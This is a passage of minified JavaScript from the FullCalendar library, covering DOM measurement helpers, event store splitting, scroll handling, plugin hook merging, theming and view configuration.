dr(e,t){return{left:e.left-t.left,top:e.top-t.top}}function pr(){return null==or&&(or=function(){if("undefined"==typeof document)return!0;var e=document.createElement("div");e.style.position="absolute",e.style.top="0px",e.style.left="0px",e.innerHTML="<table><tr><td><div></div></td></tr></table>",e.querySelector("table").style.height="100px",e.querySelector("div").style.height="100%",document.body.appendChild(e);var t=e.querySelector("div").offsetHeight>0;return document.body.removeChild(e),t}()),or}var fr={defs:{},instances:{}},hr=function(){function e(){this.getKeysForEventDefs=st(this._getKeysForEventDefs),this.splitDateSelection=st(this._splitDateSpan),this.splitEventStore=st(this._splitEventStore),this.splitIndividualUi=st(this._splitIndividualUi),this.splitEventDrag=st(this._splitInteraction),this.splitEventResize=st(this._splitInteraction),this.eventUiBuilders={}}return e.prototype.splitProps=function(e){var t=this,n=this.getKeyInfo(e),r=this.getKeysForEventDefs(e.eventStore),o=this.splitDateSelection(e.dateSelection),i=this.splitIndividualUi(e.eventUiBases,r),a=this.splitEventStore(e.eventStore,r),s=this.splitEventDrag(e.eventDrag),l=this.splitEventResize(e.eventResize),u={};for(var c in this.eventUiBuilders=Ue(n,(function(e,n){return t.eventUiBuilders[n]||st(vr)})),n){var d=n[c],p=a[c]||fr,f=this.eventUiBuilders[c];u[c]={businessHours:d.businessHours||e.businessHours,dateSelection:o[c]||null,eventStore:p,eventUiBases:f(e.eventUiBases[""],d.ui,i[c]),eventSelection:p.instances[e.eventSelection]?e.eventSelection:"",eventDrag:s[c]||null,eventResize:l[c]||null}}return u},e.prototype._splitDateSpan=function(e){var t={};if(e)for(var n=0,r=this.getKeysForDateSpan(e);n<r.length;n++){t[r[n]]=e}return t},e.prototype._getKeysForEventDefs=function(e){var t=this;return Ue(e.defs,(function(e){return t.getKeysForEventDef(e)}))},e.prototype._splitEventStore=function(e,t){var n=e.defs,r=e.instances,o={};for(var i in n)for(var a=0,s=t[i];a<s.length;a++){o[p=s[a]]||(o[p]={defs:{},instances:{}}),o[p].defs[i]=n[i]}for(var l in r)for(var u=r[l],c=0,d=t[u.defId];c<d.length;c++){var p;o[p=d[c]]&&(o[p].instances[l]=u)}return o},e.prototype._splitIndividualUi=function(e,t){var n={};for(var r in e)if(r)for(var o=0,i=t[r];o<i.length;o++){var a=i[o];n[a]||(n[a]={}),n[a][r]=e[r]}return n},e.prototype._splitInteraction=function(e){var t={};if(e){var n=this._splitEventStore(e.affectedEvents,this._getKeysForEventDefs(e.affectedEvents)),r=this._getKeysForEventDefs(e.mutatedEvents),o=this._splitEventStore(e.mutatedEvents,r),i=function(r){t[r]||(t[r]={affectedEvents:n[r]||fr,mutatedEvents:o[r]||fr,isEvent:e.isEvent})};for(var a in n)i(a);for(var a in o)i(a)}return t},e}();function vr(e,t,n){var o=[];e&&o.push(e),t&&o.push(t);var i={"":Bt(o)};return n&&r(i,n),i}function gr(e,t,n,r){return{dow:e.getUTCDay(),isDisabled:Boolean(r&&!un(r.activeRange,e)),isOther:Boolean(r&&!un(r.currentRange,e)),isToday:Boolean(t&&un(t,e)),isPast:Boolean(n?e<n:!!t&&e<t.start),isFuture:Boolean(n?e>n:!!t&&e>=t.end)}}function mr(e,t){var n=["fc-day","fc-day-"+ve[e.dow]];return e.isDisabled?n.push("fc-day-disabled"):(e.isToday&&(n.push("fc-day-today"),n.push(t.getClass("today"))),e.isPast&&n.push("fc-day-past"),e.isFuture&&n.push("fc-day-future"),e.isOther&&n.push("fc-day-other")),n}function yr(e,t){return void 0===t&&(t="day"),JSON.stringify({date:rt(e),type:t})}var Er,Sr=null;function Dr(){return null===Sr&&(Sr=function(){var e=document.createElement("div");q(e,{position:"absolute",top:-1e3,left:0,border:0,padding:0,overflow:"scroll",direction:"rtl"}),e.innerHTML="<div></div>",document.body.appendChild(e);var t=e.firstChild.getBoundingClientRect().left>e.getBoundingClientRect().left;return F(e),t}()),Sr}function br(){return Er||(Er=function(){var e=document.createElement("div");e.style.overflow="scroll",e.style.position="absolute",e.style.top="-9999px",e.style.left="-9999px",document.body.appendChild(e);var t=Cr(e);return document.body.removeChild(e),t}()),Er}function Cr(e){return{x:e.offsetHeight-e.clientHeight,y:e.offsetWidth-e.clientWidth}}function wr(e,t){void 0===t&&(t=!1);var n=window.getComputedStyle(e),r=parseInt(n.borderLeftWidth,10)||0,o=parseInt(n.borderRightWidth,10)||0,i=parseInt(n.borderTopWidth,10)||0,a=parseInt(n.borderBottomWidth,10)||0,s=Cr(e),l=s.y-r-o,u={borderLeft:r,borderRight:o,borderTop:i,borderBottom:a,scrollbarBottom:s.x-i-a,scrollbarLeft:0,scrollbarRight:0};return Dr()&&"rtl"===n.direction?u.scrollbarLeft=l:u.scrollbarRight=l,t&&(u.paddingLeft=parseInt(n.paddingLeft,10)||0,u.paddingRight=parseInt(n.paddingRight,10)||0,u.paddingTop=parseInt(n.paddingTop,10)||0,u.paddingBottom=parseInt(n.paddingBottom,10)||0),u}function Rr(e,t,n){void 0===t&&(t=!1);var r=n?e.getBoundingClientRect():Tr(e),o=wr(e,t),i={left:r.left+o.borderLeft+o.scrollbarLeft,right:r.right-o.borderRight-o.scrollbarRight,top:r.top+o.borderTop,bottom:r.bottom-o.borderBottom-o.scrollbarBottom};return t&&(i.left+=o.paddingLeft,i.right-=o.paddingRight,i.top+=o.paddingTop,i.bottom-=o.paddingBottom),i}function Tr(e){var t=e.getBoundingClientRect();return{left:t.left+window.pageXOffset,top:t.top+window.pageYOffset,right:t.right+window.pageXOffset,bottom:t.bottom+window.pageYOffset}}function kr(e){for(var t=[];e instanceof HTMLElement;){var n=window.getComputedStyle(e);if("fixed"===n.position)break;/(auto|scroll)/.test(n.overflow+n.overflowY+n.overflowX)&&t.push(e),e=e.parentNode}return t}function Mr(e,t,n){var r=!1,o=function(){r||(r=!0,t.apply(this,arguments))},i=function(){r||(r=!0,n&&n.apply(this,arguments))},a=e(o,i);a&&"function"==typeof a.then&&a.then(o,i)}var xr=function(){function e(){this.handlers={},this.thisContext=null}return e.prototype.setThisContext=function(e){this.thisContext=e},e.prototype.setOptions=function(e){this.options=e},e.prototype.on=function(e,t){!function(e,t,n){(e[t]||(e[t]=[])).push(n)}(this.handlers,e,t)},e.prototype.off=function(e,t){!function(e,t,n){n?e[t]&&(e[t]=e[t].filter((function(e){return e!==n}))):delete e[t]}(this.handlers,e,t)},e.prototype.trigger=function(e){for(var t=[],n=1;n<arguments.length;n++)t[n-1]=arguments[n];for(var r=this.handlers[e]||[],o=this.options&&this.options[e],i=[].concat(o||[],r),a=0,s=i;a<s.length;a++){var l=s[a];l.apply(this.thisContext,t)}},e.prototype.hasHandlers=function(e){return this.handlers[e]&&this.handlers[e].length||this.options&&this.options[e]},e}();var _r=function(){function e(e,t,n,r){this.els=t;var o=this.originClientRect=e.getBoundingClientRect();n&&this.buildElHorizontals(o.left),r&&this.buildElVerticals(o.top)}return e.prototype.buildElHorizontals=function(e){for(var t=[],n=[],r=0,o=this.els;r<o.length;r++){var i=o[r].getBoundingClientRect();t.push(i.left-e),n.push(i.right-e)}this.lefts=t,this.rights=n},e.prototype.buildElVerticals=function(e){for(var t=[],n=[],r=0,o=this.els;r<o.length;r++){var i=o[r].getBoundingClientRect();t.push(i.top-e),n.push(i.bottom-e)}this.tops=t,this.bottoms=n},e.prototype.leftToIndex=function(e){var t,n=this.lefts,r=this.rights,o=n.length;for(t=0;t<o;t+=1)if(e>=n[t]&&e<r[t])return t},e.prototype.topToIndex=function(e){var t,n=this.tops,r=this.bottoms,o=n.length;for(t=0;t<o;t+=1)if(e>=n[t]&&e<r[t])return t},e.prototype.getWidth=function(e){return this.rights[e]-this.lefts[e]},e.prototype.getHeight=function(e){return this.bottoms[e]-this.tops[e]},e}(),Ir=function(){function e(){}return e.prototype.getMaxScrollTop=function(){return this.getScrollHeight()-this.getClientHeight()},e.prototype.getMaxScrollLeft=function(){return this.getScrollWidth()-this.getClientWidth()},e.prototype.canScrollVertically=function(){return this.getMaxScrollTop()>0},e.prototype.canScrollHorizontally=function(){return this.getMaxScrollLeft()>0},e.prototype.canScrollUp=function(){return this.getScrollTop()>0},e.prototype.canScrollDown=function(){return this.getScrollTop()<this.getMaxScrollTop()},e.prototype.canScrollLeft=function(){return this.getScrollLeft()>0},e.prototype.canScrollRight=function(){return this.getScrollLeft()<this.getMaxScrollLeft()},e}(),Pr=function(e){function t(t){var n=e.call(this)||this;return n.el=t,n}return n(t,e),t.prototype.getScrollTop=function(){return this.el.scrollTop},t.prototype.getScrollLeft=function(){return this.el.scrollLeft},t.prototype.setScrollTop=function(e){this.el.scrollTop=e},t.prototype.setScrollLeft=function(e){this.el.scrollLeft=e},t.prototype.getScrollWidth=function(){return this.el.scrollWidth},t.prototype.getScrollHeight=function(){return this.el.scrollHeight},t.prototype.getClientHeight=function(){return this.el.clientHeight},t.prototype.getClientWidth=function(){return this.el.clientWidth},t}(Ir),Nr=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n(t,e),t.prototype.getScrollTop=function(){return window.pageYOffset},t.prototype.getScrollLeft=function(){return window.pageXOffset},t.prototype.setScrollTop=function(e){window.scroll(window.pageXOffset,e)},t.prototype.setScrollLeft=function(e){window.scroll(e,window.pageYOffset)},t.prototype.getScrollWidth=function(){return document.documentElement.scrollWidth},t.prototype.getScrollHeight=function(){return document.documentElement.scrollHeight},t.prototype.getClientHeight=function(){return document.documentElement.clientHeight},t.prototype.getClientWidth=function(){return document.documentElement.clientWidth},t}(Ir),Hr=function(){function e(e){this.iconOverrideOption&&this.setIconOverride(e[this.iconOverrideOption])}return e.prototype.setIconOverride=function(e){var t,n;if("object"==typeof e&&e){for(n in t=r({},this.iconClasses),e)t[n]=this.applyIconOverridePrefix(e[n]);this.iconClasses=t}else!1===e&&(this.iconClasses={})},e.prototype.applyIconOverridePrefix=function(e){var t=this.iconOverridePrefix;return t&&0!==e.indexOf(t)&&(e=t+e),e},e.prototype.getClass=function(e){return this.classes[e]||""},e.prototype.getIconClass=function(e,t){var n;return(n=t&&this.rtlIconClasses&&this.rtlIconClasses[e]||this.iconClasses[e])?this.baseIconClass+" "+n:""},e.prototype.getCustomButtonIconClass=function(e){var t;return this.iconOverrideCustomButtonOption&&(t=e[this.iconOverrideCustomButtonOption])?this.baseIconClass+" "+this.applyIconOverridePrefix(t):""},e}();if(Hr.prototype.classes={},Hr.prototype.iconClasses={},Hr.prototype.baseIconClass="",Hr.prototype.iconOverridePrefix="","undefined"==typeof FullCalendarVDom)throw new Error("Please import the top-level fullcalendar lib before attempting to import a plugin.");var Or=FullCalendarVDom.Component,Ar=FullCalendarVDom.createElement,Ur=FullCalendarVDom.render,Lr=FullCalendarVDom.createRef,Wr=FullCalendarVDom.Fragment,Vr=FullCalendarVDom.createContext,Fr=FullCalendarVDom.flushToDom,zr=FullCalendarVDom.unmountComponentAtNode,Br=function(){function e(e,t,n){var o=this;this.execFunc=e,this.emitter=t,this.scrollTime=n,this.handleScrollRequest=function(e){o.queuedRequest=r({},o.queuedRequest||{},e),o.drain()},t.on("_scrollRequest",this.handleScrollRequest),this.fireInitialScroll()}return e.prototype.detach=function(){this.emitter.off("_scrollRequest",this.handleScrollRequest)},e.prototype.update=function(e){e?this.fireInitialScroll():this.drain()},e.prototype.fireInitialScroll=function(){this.handleScrollRequest({time:this.scrollTime})},e.prototype.drain=function(){this.queuedRequest&&this.execFunc(this.queuedRequest)&&(this.queuedRequest=null)},e}(),jr=Vr({});function Gr(e,t,n,r,o,i,a,s,l,u,c,d,p){return{dateEnv:o,options:n,pluginHooks:a,emitter:u,dispatch:s,getCurrentData:l,calendarApi:c,viewSpec:e,viewApi:t,dateProfileGenerator:r,theme:i,isRtl:"rtl"===n.direction,addResizeHandler:function(e){u.on("_resize",e)},removeResizeHandler:function(e){u.off("_resize",e)},createScrollResponder:function(e){return new Br(e,u,Xe(n.scrollTime))},registerInteractiveComponent:d,unregisterInteractiveComponent:p}}var qr=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n(t,e),t.prototype.shouldComponentUpdate=function(e,t){return this.debug&&console.log(Fe(e,this.props),Fe(t,this.state)),!ze(this.props,e,this.propEquality)||!ze(this.state,t,this.stateEquality)},t.addPropsEquality=Zr,t.addStateEquality=Xr,t.contextType=jr,t}(Or);qr.prototype.propEquality={},qr.prototype.stateEquality={};var Yr=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n(t,e),t.contextType=jr,t}(qr);function Zr(e){var t=Object.create(this.prototype.propEquality);r(t,e),this.prototype.propEquality=t}function Xr(e){var t=Object.create(this.prototype.stateEquality);r(t,e),this.prototype.stateEquality=t}function Kr(e,t){"function"==typeof e?e(t):e&&(e.current=t)}function Jr(e,t,n,r,o){switch(t.type){case"RECEIVE_EVENTS":return function(e,t,n,r,o,i){if(t&&n===t.latestFetchId){var a=Nt(function(e,t,n){var r=n.options.eventDataTransform,o=t?t.eventDataTransform:null;o&&(e=$r(e,o));r&&(e=$r(e,r));return e}(o,t,i),t,i);return r&&(a=Ge(a,r,i)),Ut(Qr(e,t.sourceId),a)}return e}(e,n[t.sourceId],t.fetchId,t.fetchRange,t.rawEvents,o);case"ADD_EVENTS":return function(e,t,n,r){n&&(t=Ge(t,n,r));return Ut(e,t)}(e,t.eventStore,r?r.activeRange:null,o);case"RESET_EVENTS":return t.eventStore;case"MERGE_EVENTS":return Ut(e,t.eventStore);case"PREV":case"NEXT":case"CHANGE_DATE":case"CHANGE_VIEW_TYPE":return r?Ge(e,r.activeRange,o):e;case"REMOVE_EVENTS":return function(e,t){var n=e.defs,r=e.instances,o={},i={};for(var a in n)t.defs[a]||(o[a]=n[a]);for(var s in r)!t.instances[s]&&o[r[s].defId]&&(i[s]=r[s]);return{defs:o,instances:i}}(e,t.eventStore);case"REMOVE_EVENT_SOURCE":return Qr(e,t.sourceId);case"REMOVE_ALL_EVENT_SOURCES":return Lt(e,(function(e){return!e.sourceId}));case"REMOVE_ALL_EVENTS":return{defs:{},instances:{}};default:return e}}function $r(e,t){var n;if(t){n=[];for(var r=0,o=e;r<o.length;r++){var i=o[r],a=t(i);a?n.push(a):null==a&&n.push(i)}}else n=e;return n}function Qr(e,t){return Lt(e,(function(e){return e.sourceId!==t}))}function eo(e,t){return to({eventDrag:e},t)}function to(e,t){var n=t.getCurrentData(),o=r({businessHours:n.businessHours,dateSelection:"",eventStore:n.eventStore,eventUiBases:n.eventUiBases,eventSelection:"",eventDrag:null,eventResize:null},e);return(t.pluginHooks.isPropsValid||no)(o,t)}function no(e,t,n,o){return void 0===n&&(n={}),!(e.eventDrag&&!function(e,t,n,o){var i=t.getCurrentData(),a=e.eventDrag,s=a.mutatedEvents,l=s.defs,u=s.instances,c=hn(l,a.isEvent?e.eventUiBases:{"":i.selectionConfig});o&&(c=Ue(c,o));var d=(v=e.eventStore,g=a.affectedEvents.instances,{defs:v.defs,instances:Ae(v.instances,(function(e){return!g[e.instanceId]}))}),p=d.defs,f=d.instances,h=hn(p,e.eventUiBases);var v,g;for(var m in u){var y=u[m],E=y.range,S=c[y.defId],D=l[y.defId];if(!ro(S.constraints,E,d,e.businessHours,t))return!1;var b=t.options.eventOverlap,C="function"==typeof b?b:null;for(var w in f){var R=f[w];if(sn(E,R.range)){if(!1===h[R.defId].overlap&&a.isEvent)return!1;if(!1===S.overlap)return!1;if(C&&!C(new Bn(t,p[R.defId],R),new Bn(t,D,y)))return!1}}for(var T=i.eventStore,k=0,M=S.allows;k<M.length;k++){var x=M[k],_=r(r({},n),{range:y.range,allDay:D.allDay}),I=T.defs[D.defId],P=T.instances[m],N=void 0;if(N=I?new Bn(t,I,P):new Bn(t,D),!x(Pn(_,t),N))return!1}}return!0}(e,t,n,o))&&!(e.dateSelection&&!function(e,t,n,o){var i=e.eventStore,a=i.defs,s=i.instances,l=e.dateSelection,u=l.range,c=t.getCurrentData().selectionConfig;o&&(c=o(c));if(!ro(c.constraints,u,i,e.businessHours,t))return!1;var d=t.options.selectOverlap,p="function"==typeof d?d:null;for(var f in s){var h=s[f];if(sn(u,h.range)){if(!1===c.overlap)return!1;if(p&&!p(new Bn(t,a[h.defId],h),null))return!1}}for(var v=0,g=c.allows;v<g.length;v++){var m=g[v],y=r(r({},n),l);if(!m(Pn(y,t),null))return!1}return!0}(e,t,n,o))}function ro(e,t,n,r,o){for(var i=0,a=e;i<a.length;i++){if(!ao(oo(a[i],t,n,r,o),t))return!1}return!0}function oo(e,t,n,r,o){return"businessHours"===e?io(Ge(r,t,o)):"string"==typeof e?io(Lt(n,(function(t){return t.groupId===e}))):"object"==typeof e&&e?io(Ge(e,t,o)):[]}function io(e){var t=e.instances,n=[];for(var r in t)n.push(t[r].range);return n}function ao(e,t){for(var n=0,r=e;n<r.length;n++){if(ln(r[n],t))return!0}return!1}var so=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.uid=ee(),t}return n(t,e),t.prototype.prepareHits=function(){},t.prototype.queryHit=function(e,t,n,r){return null},t.prototype.isInteractionValid=function(e){var t=this.props.dateProfile,n=e.mutatedEvents.instances;if(t)for(var r in n)if(!ln(t.validRange,n[r].range))return!1;return eo(e,this.context)},t.prototype.isDateSelectionValid=function(e){var t,n,r=this.props.dateProfile;return!(r&&!ln(r.validRange,e.range))&&(t=e,n=this.context,to({dateSelection:t},n))},t.prototype.isValidSegDownEl=function(e){return!this.props.eventDrag&&!this.props.eventResize&&!z(e,".fc-event-mirror")},t.prototype.isValidDateDownEl=function(e){return!(z(e,".fc-event:not(.fc-bg-event)")||z(e,".fc-daygrid-more-link")||z(e,"a[data-navlink]")||z(e,".fc-popover"))},t}(Yr);function lo(e){return{id:ee(),deps:e.deps||[],reducers:e.reducers||[],isLoadingFuncs:e.isLoadingFuncs||[],contextInit:[].concat(e.contextInit||[]),eventRefiners:e.eventRefiners||{},eventDefMemberAdders:e.eventDefMemberAdders||[],eventSourceRefiners:e.eventSourceRefiners||{},isDraggableTransformers:e.isDraggableTransformers||[],eventDragMutationMassagers:e.eventDragMutationMassagers||[],eventDefMutationAppliers:e.eventDefMutationAppliers||[],dateSelectionTransformers:e.dateSelectionTransformers||[],datePointTransforms:e.datePointTransforms||[],dateSpanTransforms:e.dateSpanTransforms||[],views:e.views||{},viewPropsTransformers:e.viewPropsTransformers||[],isPropsValid:e.isPropsValid||null,externalDefTransforms:e.externalDefTransforms||[],eventResizeJoinTransforms:e.eventResizeJoinTransforms||[],viewContainerAppends:e.viewContainerAppends||[],eventDropTransformers:e.eventDropTransformers||[],componentInteractions:e.componentInteractions||[],calendarInteractions:e.calendarInteractions||[],themeClasses:e.themeClasses||{},eventSourceDefs:e.eventSourceDefs||[],cmdFormatter:e.cmdFormatter,recurringTypes:e.recurringTypes||[],namedTimeZonedImpl:e.namedTimeZonedImpl,initialView:e.initialView||"",elementDraggingImpl:e.elementDraggingImpl,optionChangeHandlers:e.optionChangeHandlers||{},scrollGridImpl:e.scrollGridImpl||null,contentTypeHandlers:e.contentTypeHandlers||{},listenerRefiners:e.listenerRefiners||{},optionRefiners:e.optionRefiners||{},propSetHandlers:e.propSetHandlers||{}}}function uo(){var e,t=[],n=[];return function(o,i){return e&&at(o,t)&&at(i,n)||(e=function(e,t){var n={},o={reducers:[],isLoadingFuncs:[],contextInit:[],eventRefiners:{},eventDefMemberAdders:[],eventSourceRefiners:{},isDraggableTransformers:[],eventDragMutationMassagers:[],eventDefMutationAppliers:[],dateSelectionTransformers:[],datePointTransforms:[],dateSpanTransforms:[],views:{},viewPropsTransformers:[],isPropsValid:null,externalDefTransforms:[],eventResizeJoinTransforms:[],viewContainerAppends:[],eventDropTransformers:[],componentInteractions:[],calendarInteractions:[],themeClasses:{},eventSourceDefs:[],cmdFormatter:null,recurringTypes:[],namedTimeZonedImpl:null,initialView:"",elementDraggingImpl:null,optionChangeHandlers:{},scrollGridImpl:null,contentTypeHandlers:{},listenerRefiners:{},optionRefiners:{},propSetHandlers:{}};function i(e){for(var t=0,a=e;t<a.length;t++){var s=a[t];n[s.id]||(n[s.id]=!0,i(s.deps),u=s,o={reducers:(l=o).reducers.concat(u.reducers),isLoadingFuncs:l.isLoadingFuncs.concat(u.isLoadingFuncs),contextInit:l.contextInit.concat(u.contextInit),eventRefiners:r(r({},l.eventRefiners),u.eventRefiners),eventDefMemberAdders:l.eventDefMemberAdders.concat(u.eventDefMemberAdders),eventSourceRefiners:r(r({},l.eventSourceRefiners),u.eventSourceRefiners),isDraggableTransformers:l.isDraggableTransformers.concat(u.isDraggableTransformers),eventDragMutationMassagers:l.eventDragMutationMassagers.concat(u.eventDragMutationMassagers),eventDefMutationAppliers:l.eventDefMutationAppliers.concat(u.eventDefMutationAppliers),dateSelectionTransformers:l.dateSelectionTransformers.concat(u.dateSelectionTransformers),datePointTransforms:l.datePointTransforms.concat(u.datePointTransforms),dateSpanTransforms:l.dateSpanTransforms.concat(u.dateSpanTransforms),views:r(r({},l.views),u.views),viewPropsTransformers:l.viewPropsTransformers.concat(u.viewPropsTransformers),isPropsValid:u.isPropsValid||l.isPropsValid,externalDefTransforms:l.externalDefTransforms.concat(u.externalDefTransforms),eventResizeJoinTransforms:l.eventResizeJoinTransforms.concat(u.eventResizeJoinTransforms),viewContainerAppends:l.viewContainerAppends.concat(u.viewContainerAppends),eventDropTransformers:l.eventDropTransformers.concat(u.eventDropTransformers),calendarInteractions:l.calendarInteractions.concat(u.calendarInteractions),componentInteractions:l.componentInteractions.concat(u.componentInteractions),themeClasses:r(r({},l.themeClasses),u.themeClasses),eventSourceDefs:l.eventSourceDefs.concat(u.eventSourceDefs),cmdFormatter:u.cmdFormatter||l.cmdFormatter,recurringTypes:l.recurringTypes.concat(u.recurringTypes),namedTimeZonedImpl:u.namedTimeZonedImpl||l.namedTimeZonedImpl,initialView:l.initialView||u.initialView,elementDraggingImpl:l.elementDraggingImpl||u.elementDraggingImpl,optionChangeHandlers:r(r({},l.optionChangeHandlers),u.optionChangeHandlers),scrollGridImpl:u.scrollGridImpl||l.scrollGridImpl,contentTypeHandlers:r(r({},l.contentTypeHandlers),u.contentTypeHandlers),listenerRefiners:r(r({},l.listenerRefiners),u.listenerRefiners),optionRefiners:r(r({},l.optionRefiners),u.optionRefiners),propSetHandlers:r(r({},l.propSetHandlers),u.propSetHandlers)})}var l,u}return e&&i(e),i(t),o}(o,i)),t=o,n=i,e}}var co=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n(t,e),t}(Hr);function po(e,t,n,o){if(t[e])return t[e];var i=function(e,t,n,o){var i=n[e],a=o[e],s=function(e){return i&&null!==i[e]?i[e]:a&&null!==a[e]?a[e]:null},l=s("component"),u=s("superType"),c=null;if(u){if(u===e)throw new Error("Can't have a custom view type that references itself");c=po(u,t,n,o)}!l&&c&&(l=c.component);if(!l)return null;return{type:e,component:l,defaults:r(r({},c?c.defaults:{}),i?i.rawOptions:{}),overrides:r(r({},c?c.overrides:{}),a?a.rawOptions:{})}}(e,t,n,o);return i&&(t[e]=i),i}co.prototype.classes={root:"fc-theme-standard",tableCellShaded:"fc-cell-shaded",buttonGroup:"fc-button-group",button:"fc-button fc-button-primary",buttonActive:"fc-button-active"},co.prototype.baseIconClass="fc-icon",co.prototype.iconClasses={close:"fc-icon-x",prev:"fc-icon-chevron-left",next:"fc-icon-chevron-right",prevYear:"fc-icon-chevrons-left",nextYear:"fc-icon-chevrons-right"},co.prototype.rtlIconClasses={prev:"fc-icon-chevron-right",next:"fc-icon-chevron-left",prevYear:"fc-icon-chevrons-right",nextYear:"fc-icon-chevrons-left"},co.prototype.iconOverrideOption="buttonIcons",co.prototype.iconOverrideCustomButtonOption="icon",co.prototype.iconOverridePrefix="fc-icon-";var fo=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.rootElRef=Lr(),t.handleRootEl=function(e){Kr(t.rootElRef,e),t.props.elRef&&Kr(t.props.elRef,e)},t}return n(t,e),t.prototype.render=function(){var e=this,t=this.props,n=t.hookProps;return Ar(mo,{hookProps:n,didMount:t.didMount,willUnmount:t.willUnmount,elRef:this.handleRootEl},(function(r){return Ar(vo,{hookProps:n,content:t.content,defaultContent:t.defaultContent,backupElRef:e.rootElRef},(function(e,o){return t.children(r,Eo(t.classNames,n),e,o)}))}))},t}(Yr),ho=Vr(0);function vo(e){return Ar(ho.Consumer,null,(function(t){return Ar(go,r({renderId:t},e))}))}var go=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.innerElRef=Lr(),t}return n(t,e),t.prototype.render=function(){return this.props.children(this.innerElRef,this.renderInnerContent())},t.prototype.componentDidMount=function(){this.updateCustomContent()},t.prototype.componentDidUpdate=function(){this.updateCustomContent()},t.prototype.componentWillUnmount=function(){this.customContentInfo&&this.customContentInfo.destroy&&this.customContentInfo.destroy()},t.prototype.renderInnerContent=function(){var e=this.context.pluginHooks.contentTypeHandlers,t=this.props,n=this.customContentInfo,o=So(t.content,t.hookProps),i=null;if(void 0===o&&(o=So(t.defaultContent,t.hookProps)),void 0!==o){if(n)n.contentVal=o[n.contentKey];else if("object"==typeof o)for(var a in e)if(void 0!==o[a]){var s=e[a]();n=this.customContentInfo=r({contentKey:a,contentVal:o[a]},s);break}i=n?[]:o}return i},t.prototype.updateCustomContent=function(){this.customContentInfo&&this.customContentInfo.render(this.innerElRef.current||this.props.backupElRef.current,this.customContentInfo.contentVal)},t}(Yr),mo=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.handleRootEl=function(e){t.rootEl=e,t.props.elRef&&Kr(t.props.elRef,e)},t}return n(t,e),t.prototype.render=function(){return this.props.children(this.handleRootEl)},t.prototype.componentDidMount=function(){var e=this.props.didMount;e&&e(r(r({},this.props.hookProps),{el:this.rootEl}))},t.prototype.componentWillUnmount=function(){var e=this.props.willUnmount;e&&e(r(r({},this.props.hookProps),{el:this.rootEl}))},t}(Yr);function yo(){var e,t,n=[];return function(r,o){return t&&Ve(t,o)&&r===e||(e=r,t=o,n=Eo(r,o)),n}}function Eo(e,t){return"function"==typeof e&&(e=e(t)),Wt(e)}function So(e,t){return"function"==typeof e?e(t,Ar):e}var Do=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.normalizeClassNames=yo(),t}return n(t,e),t.prototype.render=function(){var e=this.props,t=this.context,n=t.options,r={view:t.viewApi},o=this.normalizeClassNames(n.viewClassNames,r);return Ar(mo,{hookProps:r,didMount:n.viewDidMount,willUnmount:n.viewWillUnmount,elRef:e.elRef},(function(t){return e.children(t,["fc-"+e.viewSpec.type+"-view","fc-view"].concat(o))}))},t}(Yr);function bo(e){return Ue(e,Co)}function Co(e){var t,n="function"==typeof e?{component:e}:e,o=n.component;return n.content&&(t=n,o=function(e){return Ar(jr.Consumer,null,(function(n){return Ar(Do,{viewSpec:n.viewSpec},(function(o,i){var a=r(r({},e),{nextDayThreshold:n.options.nextDayThreshold});return Ar(fo,{hookProps:a,classNames:t.classNames,content:t.content,didMount:t.didMount,willUnmount:t.willUnmount,elRef:o},(function(e,t,n,r){return Ar("div",{className:i.concat(t).join(" "),ref:e},r)}))}))}))}),{superType:n.type,component:o,rawOptions:n}}function wo(e,t,n,o){var i=bo(e),a=bo(t.views);return Ue(function(e,t){var n,r={};for(n in e)po(n,r,e,t);for(n in t)po(n,r,e,t);return r}(i,a),(function(e){return function(e,t,n,o,i){var a=e.overrides.duration||e.defaults.duration||o.duration||n.duration,s=null,l="",u="",c={};if(a&&(s=function(e){var t=JSON.stringify(e),n=Ro[t];void 0===n&&(n=Xe(e),Ro[t]=n);return n}(a))){var d=nt(s);l=d.unit,1===d.value&&(u=l,c=t[l]?t[l].rawOptions:{})}var p=function(t){var n=t.buttonText||{},r=e.defaults.buttonTextKey;return null!=r&&null!=n[r]?n[r]:null!=n[e.type]?n[e.type]:null!=n[u]?n[u]:null};return{type:e.type,component:e.component,duration:s,durationUnit:l,singleUnit:u,optionDefaults:e.defaults,optionOverrides:r(r({},c),e.overrides),buttonTextOverride:p(o)||p(n)||e.overrides.buttonText,buttonTextDefault:p(i)||e.defaults.buttonText||p(wt)||e.type}}(e,a,t,n,o)}))}var Ro={};var To=function(){function e(e){this.props=e,this.nowDate=Fn(e.nowInput,e.dateEnv),this.initHiddenDays()}return e.prototype.buildPrev=function(e,t,n){var r=this.props.dateEnv,o=r.subtract(r.startOf(t,e.currentRangeUnit),e.dateIncrement);return this.build(o,-1,n)},e.prototype.buildNext=function(e,t,n){var r=this.props.dateEnv,o=r.add(r.startOf(t,e.currentRangeUnit),e.dateIncrement);return this.build(o,1,n)},e.prototype.build=function(e,t,n){void 0===n&&(n=!0);var r,o,i,a,s,l,u,c,d=this.props;return r=this.buildValidRange(),r=this.trimHiddenDays(r),n&&(u=e,e=null!=(c=r).start&&u<c.start?c.start:null!=c.end&&u>=c.end?new Date(c.end.valueOf()-1):u),o=this.buildCurrentRangeInfo(e,t),i=/^(year|month|week|day)$/.test(o.unit),a=this.buildRenderRange(this.trimHiddenDays(o.range),o.unit,i),s=a=this.trimHiddenDays(a),d.showNonCurrentDates||(s=on(s,o.range)),s=on(s=this.adjustActiveRange(s),r),l=sn(o.range,r),{validRange:r,currentRange:o.range,currentRangeUnit:o.unit,isRangeAllDay:i,activeRange:s,renderRange:a,slotMinTime:d.slotMinTime,slotMaxTime:d.slotMaxTime,isValid:l,dateIncrement:this.buildDateIncrement(o.duration)}},e.prototype.buildValidRange=function(){var e=this.props.validRangeInput,t="function"==typeof e?e.call(this.props.calendarApi,this.nowDate):e;return this.refineRange(t)||{start:null,end:null}},e.prototype.buildCurrentRangeInfo=function(e,t){var n,r=this.props,o=null,i=null,a=null;return 